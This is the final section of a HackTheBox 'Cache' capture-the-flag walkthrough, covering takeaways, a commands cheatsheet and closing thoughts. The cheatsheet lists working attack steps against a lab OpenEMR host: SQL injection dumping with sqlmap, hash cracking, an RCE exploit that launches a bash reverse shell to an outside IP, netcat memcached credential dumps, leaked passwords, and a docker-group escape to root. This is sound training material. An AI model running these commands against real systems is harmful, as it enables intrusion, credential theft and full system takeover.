- ubuntu: use the locally cached Ubuntu image
- chroot /mnt sh: change root to the mounted host filesystem and run a shell

Result:

# id
uid=0(root) gid=0(root) groups=0(root)

# cat /root/root.txt

HackTheBox “Cache” Walkthrough, figure 22

Key Takeaways

1. Client-side validation is not validation. Credentials in JavaScript are free wins.
2. Virtual hosts hide entire applications. Always check for subdomains and vhosts.
3. Version fingerprinting saves time. Knowing the exact software version lets you find targeted exploits immediately.
4. Side doors matter. The patient portal had weaker security than the main admin panel.
5. Sqlmap is your friend. Don’t hand-craft UNION queries when a tool can do it perfectly.
6. Password reuse is human nature. Test every credential everywhere.
7. Local services are soft targets. Memcached, Redis, and similar services often lack authentication.
8. The docker group is root. Always check groups output. If you see docker, you are probably one command away from root.

Commands Cheatsheet

Host entries:
echo “10.129.5.28 cache.htb hms.htb” | sudo tee -a /etc/hosts

Port scan:
nmap -sC -sV -T4 10.129.5.28

Find hardcoded creds:
curl -s http://cache.htb/jquery/functionality.js

Discover HMS vhost:
http://hms.htb/interface/login/login.php?site=default

OpenEMR version fingerprint:
curl -s http://hms.htb/admin.php | grep -i “version\|openemr”

Search exploits:
searchsploit openemr

Patient portal auth bypass:
http://hms.htb/portal/add_edit_event_user.php?eid=1

SQL injection confirmation:
http://hms.htb/portal/add_edit_event_user.php?eid=1'

sqlmap dump:
curl -s -c cookies.txt -b cookies.txt “http://hms.htb/portal/account/register.php"
# build openemr.req with cookie header
sqlmap -r openemr.req -D openemr -T users_secure — dump — batch

Hash cracking:
echo ‘$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.’ > hash.txt
john — wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Authenticated RCE:
searchsploit -m php/webapps/45161.py
sed -i ‘s/base64.b64encode(args.cmd)/base64.b64encode(args.cmd.encode()).decode()/g’ 45161.py
nc -lvnp 9001
python 45161.py -u openemr_admin -p xxxxxx -c “bash -i >& /dev/tcp/10.10.16.84/9001 0>&1” http://hms.htb

TTY upgrade:
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

User flag:
su ash
# password: H@v3_fun
cat ~/user.txt

Memcached enumeration:
netstat -antp | grep 11211
echo “stats cachedump 1 0” | nc -q 1 127.0.0.1 11211
echo “get user” | nc -q 1 127.0.0.1 11211
echo “get passwd” | nc -q 1 127.0.0.1 11211

Docker escape to root:
su luffy
# password: 0n3_p1ec3
docker images
docker run -v /:/mnt — rm -it ubuntu chroot /mnt sh
cat /root/root.txt

Final Thoughts

Cache is a textbook example of layered compromise. Each phase hands you exactly what you need for the next, but only if you are paying attention. The hardcoded JavaScript credentials, the virtual host hint, the patient portal bypass, the local Memcached service, and the docker group membership are all individually small issues. Together, they form a straight line from anonymous visitor to root.

It is also a great reminder that operational convenience, like adding users to the docker group or running unauthenticated caching services locally, often creates bigger security holes than the applications themselves.

Cheers. Happy hacking.